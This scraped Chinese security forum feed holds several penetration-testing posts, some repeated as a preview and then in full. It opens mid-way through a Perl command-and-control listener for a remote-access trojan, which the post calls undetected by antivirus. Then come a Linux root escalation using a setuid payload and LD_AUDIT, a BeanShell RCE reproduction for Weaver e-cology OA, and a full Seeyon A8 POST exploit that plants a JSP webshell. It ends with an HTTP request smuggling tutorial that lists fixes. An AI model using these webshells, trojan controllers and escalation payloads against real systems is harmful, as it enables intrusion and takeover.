bind(S, sockaddr_in($port, INADDR_ANY)) || die;
listen(S, SOMAXCONN) || die;


printf(" <<<Type-O-Serve Accepting on Port %d>>>\n\n",$port);

while (1)
{

$cport_caddr = accept(C, S);
($cport,$caddr) = sockaddr_in($cport_caddr);
C->autoflush(1);

$cname = gethostbyaddr($caddr,AF_INET);
printf(" <<<Request From '%s'>>>\n",$cname);

while ($line = <C>+$http)
{
print $line;
if ($line =~ /^\r/) { last; }
}

printf(" <<<Type Response Followed by '.'>>>\n");
while ($line = <STDIN>)
{
$line =~ s/\r//;
$line =~ s/\n//;
if ($line =~ /^\./) { last; } print C $line . "\r\n";
}
close(C);
}
执行效果:
先在Linux上运行Web服务器代码,监听8080端口
9.png

 
双击执行远控木马,服务器收到Get请求的心跳包
11.png

 
在服务器上输入要执行的命令,并作为响应包发送给靶机
靶机执行命令,并将结果拼接到url中再次发送Get请求给服务器
12.png

 
全程火绒静默,exe查杀无毒

 

Linux提权(二)

系统安全llpkk 发表了文章 • 2 个评论 • 72 次浏览 • 2019-10-11 09:09 • 来自相关话题

Linux提权
 上一次提权提到了内核漏洞本地提权,SUID提权,但是在面对复杂的服务器环境时需要了解更多的提权方法。上次在ny护网的时候搞到了一台Linux服务器的低权限oracle账号,然后尝试提权成功,所以有了这篇文章。
 
低内核版本提权
发行版本是rhel5.5内核版本是比较低的 2.6.18,但是脏牛漏洞是对内核版本大于2.6.22可以利用,所以我们可以利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限。

1.进入tmp目录并创建目录exploit
cd /tmp
mkdir exploit
 2.查看ping命令所具有的权限ll /bin/ping
 3.创建target文件硬链接ln /bin/ping /tmp/exploit/target
4.查看target文件权限ll /tmp/exploit/target
5.把target文件加载到内存中exec 3< /tmp/exploit/target
6.查看target在内存的状态ll /proc/$$/fd/3
7.删除target文件rm -rf /tmp/exploit/
8.再次查看target在内存的状态ll /proc/$$/fd/3
9.创建一个c语言代码vim payload.c源码:
void __attribute__((constructor)) init() // 两个下划线
{
setuid(0);
system("/bin/bash");
}


10.利用gcc编译这段代码gcc -W -fPIC -shared -o /tmp/exploit payload.c

11.提升到root权限LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination








等到执行完之后就是root权限了。这是一个老版本的gcc编译器漏洞了,虽然老,但是还是学习一下的好。


sudo配置错误

这个方法是在freebuf上的一篇文章上看到的,但是实际情况下还没有见到过。

1.查看 `/home/`目录下是否有.sudo_as_admin_successful文件,如果有的话直接可以输入当前低权限账号的密码直接sudo su切换为root用户。


原文链接:https://www.freebuf.com/vuls/211847.html
以下是原文的利用过程:
靶机 JIS-CTF-VulnUpload-CTF01 就是很好的一个案例。首先,利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话:








接着,翻找文件找到其密码:








然后,发现 home/ 中存在 .sudo_as_admin_successful 文件:








最后,用 technawi 自己的密码切换为 root 用户:








linux提权的方法有很多而且很复杂,目前先收集起来,待以后再仔细研究
  查看全部
Linux提权
 上一次提权提到了内核漏洞本地提权,SUID提权,但是在面对复杂的服务器环境时需要了解更多的提权方法。上次在ny护网的时候搞到了一台Linux服务器的低权限oracle账号,然后尝试提权成功,所以有了这篇文章。
 
低内核版本提权
发行版本是rhel5.5内核版本是比较低的 2.6.18,但是脏牛漏洞是对内核版本大于2.6.22可以利用,所以我们可以利用tmp目录权限、suid 权限和C语言使普通帐号提权为ROOT权限。

1.进入tmp目录并创建目录exploit
cd /tmp
mkdir exploit

 2.查看ping命令所具有的权限
ll /bin/ping

 3.创建target文件硬链接
ln /bin/ping /tmp/exploit/target

4.查看target文件权限
ll /tmp/exploit/target

5.把target文件加载到内存中
exec 3< /tmp/exploit/target

6.查看target在内存的状态
ll /proc/$$/fd/3

7.删除target文件
rm -rf /tmp/exploit/

8.再次查看target在内存的状态
ll /proc/$$/fd/3

9.创建一个c语言代码
vim payload.c
源码:
void __attribute__((constructor)) init()  // 两个下划线
{
setuid(0);
system("/bin/bash");
}


10.利用gcc编译这段代码
gcc -W -fPIC -shared -o /tmp/exploit payload.c


11.提升到root权限
LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3
ERROR: ld.so: object '$ORIGIN' cannot be loaded as audit interface: cannot open shared object file; ignored.
Usage: ping [-LRUbdfnqrvVaA] [-c count] [-i interval] [-w deadline]
[-p pattern] [-s packetsize] [-t ttl] [-I interface or address]
[-M mtu discovery hint] [-S sndbuf]
[ -T timestamp option ] [ -Q tos ] [hop1 ...] destination


1.png




等到执行完之后就是root权限了。这是一个老版本的gcc编译器漏洞了,虽然老,但是还是学习一下的好。


sudo配置错误

这个方法是在freebuf上的一篇文章上看到的,但是实际情况下还没有见到过。

1.查看 `/home/`目录下是否有.sudo_as_admin_successful文件,如果有的话直接可以输入当前低权限账号的密码直接sudo su切换为root用户。


原文链接:https://www.freebuf.com/vuls/211847.html
以下是原文的利用过程:
靶机 JIS-CTF-VulnUpload-CTF01 就是很好的一个案例。首先,利用 web 漏洞拿到低权账号 technawi 的 meterpreter 会话:


2.png



接着,翻找文件找到其密码:


3.png



然后,发现 home/ 中存在 .sudo_as_admin_successful 文件:


4.png



最后,用 technawi 自己的密码切换为 root 用户:


5.png



linux提权的方法有很多而且很复杂,目前先收集起来,待以后再仔细研究
 

泛微OA远程代码执行

渗透测试sq_smile 发表了文章 • 1 个评论 • 104 次浏览 • 2019-10-11 08:22 • 来自相关话题

0X01  漏洞描述: 2019年9月19日,泛微e-cology OA系统被爆出存在远程代码执行漏洞。该漏洞存在于泛微协同管理应用平台OA系统的BeanShell组件中,该组件为系统自带且允许未授权访问。攻击者通过调用BeanShell组件的问题接口可直接在目标服务器上执行任意命令,目前该漏洞安全补丁已发布,请使用泛微e-cology OA系统的用户尽快采取防护措施。
该漏洞CNVD编号:CNVD-2019-32204 
0x02  影响版本: 泛微e-cology<=9.0
0x03  漏洞复现
          1、正常页面:





            2、在网站根目录下加上:/weaver/bsh.servlet.BshServlet/





 
           3、在Script的框中输入payload并且点击文本框下边的"Evaluate"





          从上图中可以看到,当前用户是system权限。则说明命令成功执行,当然漏洞也是存在的。
0x04  漏洞后续:
          参考链接:
                 https://www.cnblogs.com/paperpen/p/11586244.html
                     https://www.cnvd.org.cn/flaw/show/CNVD-2019-32204
    
  查看全部
0X01  漏洞描述:
    2019年9月19日,泛微e-cology OA系统被爆出存在远程代码执行漏洞。该漏洞存在于泛微协同管理应用平台OA系统的BeanShell组件中,该组件为系统自带且允许未授权访问。攻击者通过调用BeanShell组件的问题接口可直接在目标服务器上执行任意命令,目前该漏洞安全补丁已发布,请使用泛微e-cology OA系统的用户尽快采取防护措施。
该漏洞CNVD编号:CNVD-2019-32204
 
0x02  影响版本:
    泛微e-cology<=9.0

0x03  漏洞复现
          1、正常页面:

1.png

            2、在网站根目录下加上:/weaver/bsh.servlet.BshServlet/

2.png

 
           3、在Script的框中输入payload并且点击文本框下边的"Evaluate"

3.png

          从上图中可以看到,当前用户是system权限。则说明命令成功执行,当然漏洞也是存在的。
0x04  漏洞后续:
          参考链接:
                 https://www.cnblogs.com/paperpen/p/11586244.html
                     https://www.cnvd.org.cn/flaw/show/CNVD-2019-32204
    
 

致远 OA A8远程Getshell

渗透测试fireant 发表了文章 • 2 个评论 • 77 次浏览 • 2019-10-10 18:39 • 来自相关话题

0x00 漏洞详情
 今年6月,360CERT 监测到致远 A8+ 某些版本系统,存在远程任意文件上传文件上传漏洞,并且无需登录即可触发。攻击者构造恶意文件,成功利用漏洞后可造成Getshell
 

0x01 影响版本
致远A8-V5协同管理软件 V6.1sp1致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3致远A8+协同管理软件 V7.1
 

0x02 漏洞利用
  一,访问漏洞路径/seeyon/htmlofficeservlet
 出现如下内容则表示存在漏洞






 二,使用Burp抓包,上EXP





回包如上图则就算是成功写入

三,调用命令执行
访问/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+whoami




 

0x03 EXP
POST包POST /seeyon/htmlofficeservlet HTTP/1.1
Content-Length: 1121
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: xxxxxxxxx
Pragma: no-cache

DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce 查看全部
0x00 漏洞详情
 今年6月,360CERT 监测到致远 A8+ 某些版本系统,存在远程任意文件上传文件上传漏洞,并且无需登录即可触发。攻击者构造恶意文件,成功利用漏洞后可造成Getshell
 

0x01 影响版本
  • 致远A8-V5协同管理软件 V6.1sp1
  • 致远A8+协同管理软件 V7.0、V7.0sp1、V7.0sp2、V7.0sp3
  • 致远A8+协同管理软件 V7.1

 

0x02 漏洞利用
  一,访问漏洞路径
/seeyon/htmlofficeservlet

 出现如下内容则表示存在漏洞
20190703150053356.png



 二,使用Burp抓包,上EXP
20190703150842658.png


回包如上图则就算是成功写入

三,调用命令执行
访问/test123456.jsp?pwd=asasd3344&cmd=cmd%20+/c+whoami
TIM截图20191010173711.png

 

0x03 EXP
POST包
POST /seeyon/htmlofficeservlet HTTP/1.1
Content-Length: 1121
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: xxxxxxxxx
Pragma: no-cache

DBSTEP V3.0 355 0 666 DBSTEP=OKMLlKlV
OPTION=S3WYOSWLBSGr
currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
CREATEDATE=wUghPB3szB3Xwg66
RECORDID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
originalFileId=wV66
originalCreateDate=wUghPB3szB3Xwg66
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
needReadFile=yRWZdAS6
originalCreateDate=wLSGP4oEzLKAz4=iz=66
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp+"\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();} %><%if("asasd3344".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd")) + "</pre>");}else{out.println(":-)");}%>6e4f045d4b8506bf492ada7e3390d7ce

http请求走私

渗透测试willeson 发表了文章 • 0 个评论 • 68 次浏览 • 2019-10-08 21:08 • 来自相关话题

核心概念:从HTTP/1.1开始,广泛支持通过单个基础TCP或SSL / TLS套接字发送多个HTTP请求。该协议非常简单-HTTP请求简单地背对背放置,服务器解析标头以计算出每个结束的位置以及下一个开始的位置。这通常与HTTP流水线混淆,HTTP流水线是一种稀有的子类型,对于本文中描述的攻击而言并不是必需的。


就其本身而言,这是无害的。但是,现代网站由系统链组成,所有系统都通过HTTP进行通信。这种多层体系结构接收来自多个不同用户的HTTP请求,并通过单个TCP / TLS连接路由它们:
这意味着突然之间,后端与前端就每个消息的结束位置达成一致至关重要。否则,攻击者可能能够发送模糊的消息,该消息被后端解释为两个不同的HTTP请求:这使攻击者能够在下一个合法用户的请求开始时添加任意内容。在整个本文中,被走私的内容将被称为“前缀”,并以橙色突出显示。

让我们想象一下,前端优先考虑第一个内容长度标头,而后端优先考虑第二个内容长度标头。从后端的角度来看,TCP流可能类似于:POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5

12345GPOST / HTTP/1.1
Host: example.com
…在后台,前端将蓝色和橙色数据转发到后端,后端仅在发出响应之前读取蓝色内容。这会使后端套接字充满橙色数据。当合法的绿色请求到达时,它最终会附加在橙色内容上,从而导致意外的响应。

在此示例中,注入的“ G”将破坏绿色用户的请求,并且他们很可能会获得“未知方法GPOST”的响应。


在html规范中由于规定了“[size=16]如果收到的消息同时带有一个Transfer-Encoding头域和一个Content-Length头域,则后者必须被忽略。[/size]”所以很少有服务器会拒绝此类请求。

检测:检测请求走私漏洞的一种明显方法是发出一个模棱两可的请求,然后发出一个正常的“受害者”请求,然后观察后者是否收到意外响应。但是,这极易受到干扰。如果另一个用户的请求在我们的受害者请求之前命中了中毒的套接字,那么他们将获得损坏的响应,我们将不会发现该漏洞。这意味着在流量很大的实时站点上,如果不利用大量真实用户,就很难证明存在请求走私行为。即使在没有其他流量的站点上,您也会因为服务器终止连接引起的误报的风险。
为了解决这个问题,James Kettle开发了一种检测策略,该策略使用一系列消息使脆弱的后端系统挂起并超时连接。该技术几乎没有误报,可以抵制可能导致误报的应用程序错误,而且最重要的是几乎没有影响其他用户的风险。
1,CL.TE: 前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头




这是一个正常POST的请求。



这是一个http smuggling 的请求,这里我们看到后端返回给我们的是未知请求“GPOST”,所以我们可以确认“G”是已经被带到了下一个用户的请求头上。


由于后端使用TE头接收数据,但是0在TE分块规则中代表结束,所以后端在解析到0时就认为这个数据包已经结束了,而后面的“G”会等待下一个用户的请求而附加在下一个请求的头部。
2,TE.CL: 前端服务器使用Transfer-Encoding标头,而后端服务器使用Content-Length标头




这是个正常的请求。



这是一个http smuggling 的请求,这里们看到后端返回给我们的是未知请求“G0POST”,所以这个地方存在http smuggling漏洞。
是因为我们在前端使用了一个较短的content-Length长度,这里需要注意的是要关掉burp的自动更新长度的功能,请求包的最后面要加两个回车换行,要不然会失败。
前端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。它处理第一个块,声明为8个字节长,直到“G”之后的行的开始。它处理第二个数据块,该数据块的长度为零,因此被视为终止请求。该请求被转发到后端服务器。
后端服务器处理Content-Length标头,并确定请求正文的长度为3个字节,直到之1后的行的开头。接下来的字节未经处理,后端服务器会将其视为序列中下一个请求的开始。
3, TE.TETransfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding: chunked这些技术中的每一种都涉及到与HTTP规范的细微偏离。实现协议规范的实际代码难以十分精准体现,并且不同的实现通常包含不同变化。要发现TE.TE漏洞,有必要找到Transfer-Encoding标头的一些变体,以便只有一个前端或后端服务器处理它,而另一个服务器忽略它。



这个漏洞核心是多个Transfer-Encoding标头的混淆。





修复:禁用后端连接的重用,以便每个后端请求通过单独的网络连接发送。
使用HTTP/2.0 进行后端连接,因为此协议可防止对请求之间的边界产生歧义。
前端服务器和后端服务器使用完全相同的Web服务器软件,以便它们就请求之间的界限达成一致。参考:https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn 查看全部
核心概念:
从HTTP/1.1开始,广泛支持通过单个基础TCP或SSL / TLS套接字发送多个HTTP请求。该协议非常简单-HTTP请求简单地背对背放置,服务器解析标头以计算出每个结束的位置以及下一个开始的位置。这通常与HTTP流水线混淆,HTTP流水线是一种稀有的子类型,对于本文中描述的攻击而言并不是必需的。


就其本身而言,这是无害的。但是,现代网站由系统链组成,所有系统都通过HTTP进行通信。这种多层体系结构接收来自多个不同用户的HTTP请求,并通过单个TCP / TLS连接路由它们:

这意味着突然之间,后端与前端就每个消息的结束位置达成一致至关重要。否则,攻击者可能能够发送模糊的消息,该消息被后端解释为两个不同的HTTP请求:
这使攻击者能够在下一个合法用户的请求开始时添加任意内容。在整个本文中,被走私的内容将被称为“前缀”,并以橙色突出显示。

让我们想象一下,前端优先考虑第一个内容长度标头,而后端优先考虑第二个内容长度标头。从后端的角度来看,TCP流可能类似于:
POST / HTTP/1.1
Host: example.com
Content-Length: 6
Content-Length: 5

12345GPOST / HTTP/1.1
Host: example.com
在后台,前端将蓝色和橙色数据转发到后端,后端仅在发出响应之前读取蓝色内容。这会使后端套接字充满橙色数据。当合法的绿色请求到达时,它最终会附加在橙色内容上,从而导致意外的响应。

在此示例中,注入的“ G”将破坏绿色用户的请求,并且他们很可能会获得“未知方法GPOST”的响应。


在html规范中由于规定了“[size=16]如果收到的消息同时带有一个Transfer-Encoding头域和一个Content-Length头域,则后者必须被忽略。[/size]”所以很少有服务器会拒绝此类请求。

检测:
检测请求走私漏洞的一种明显方法是发出一个模棱两可的请求,然后发出一个正常的“受害者”请求,然后观察后者是否收到意外响应。但是,这极易受到干扰。如果另一个用户的请求在我们的受害者请求之前命中了中毒的套接字,那么他们将获得损坏的响应,我们将不会发现该漏洞。这意味着在流量很大的实时站点上,如果不利用大量真实用户,就很难证明存在请求走私行为。即使在没有其他流量的站点上,您也会因为服务器终止连接引起的误报的风险。
为了解决这个问题,James Kettle开发了一种检测策略,该策略使用一系列消息使脆弱的后端系统挂起并超时连接。该技术几乎没有误报,可以抵制可能导致误报的应用程序错误,而且最重要的是几乎没有影响其他用户的风险。

1,CL.TE: 前端服务器使用Content-Length头,后端服务器使用Transfer-Encoding头

QQ图片20191009081743.png
这是一个正常POST的请求。

QQ图片20191009083008.png
这是一个http smuggling 的请求,这里我们看到后端返回给我们的是未知请求“GPOST”,所以我们可以确认“G”是已经被带到了下一个用户的请求头上。


由于后端使用TE头接收数据,但是0在TE分块规则中代表结束,所以后端在解析到0时就认为这个数据包已经结束了,而后面的“G”会等待下一个用户的请求而附加在下一个请求的头部。
2,TE.CL: 前端服务器使用Transfer-Encoding标头,而后端服务器使用Content-Length标头

QQ图片20191009085636.png
这是个正常的请求。

QQ图片20191009085722.png
这是一个http smuggling 的请求,这里们看到后端返回给我们的是未知请求“G0POST”,所以这个地方存在http smuggling漏洞。
是因为我们在前端使用了一个较短的content-Length长度,这里需要注意的是要关掉burp的自动更新长度的功能,请求包的最后面要加两个回车换行,要不然会失败。
前端服务器处理Transfer-Encoding标头,因此将消息正文视为使用分块编码。它处理第一个块,声明为8个字节长,直到“G”之后的行的开始。它处理第二个数据块,该数据块的长度为零,因此被视为终止请求。该请求被转发到后端服务器。
后端服务器处理Content-Length标头,并确定请求正文的长度为3个字节,直到之1后的行的开头。接下来的字节未经处理,后端服务器会将其视为序列中下一个请求的开始。

3, TE.TE
Transfer-Encoding: xchunked

Transfer-Encoding : chunked

Transfer-Encoding: chunked
Transfer-Encoding: x

Transfer-Encoding:[tab]chunked

[space]Transfer-Encoding: chunked

X: X[\n]Transfer-Encoding: chunked

Transfer-Encoding: chunked
这些技术中的每一种都涉及到与HTTP规范的细微偏离。实现协议规范的实际代码难以十分精准体现,并且不同的实现通常包含不同变化。要发现TE.TE漏洞,有必要找到Transfer-Encoding标头的一些变体,以便只有一个前端或后端服务器处理它,而另一个服务器忽略它。

20190919202850-08dfa802-dad9-1.png
这个漏洞核心是多个Transfer-Encoding标头的混淆。

20190919202922-1bebecc6-dad9-1.png


修复
禁用后端连接的重用,以便每个后端请求通过单独的网络连接发送。
使用HTTP/2.0 进行后端连接,因为此协议可防止对请求之间的边界产生歧义。
前端服务器和后端服务器使用完全相同的Web服务器软件,以便它们就请求之间的界限达成一致。
参考:https://portswigger.net/research/http-desync-attacks-request-smuggling-reborn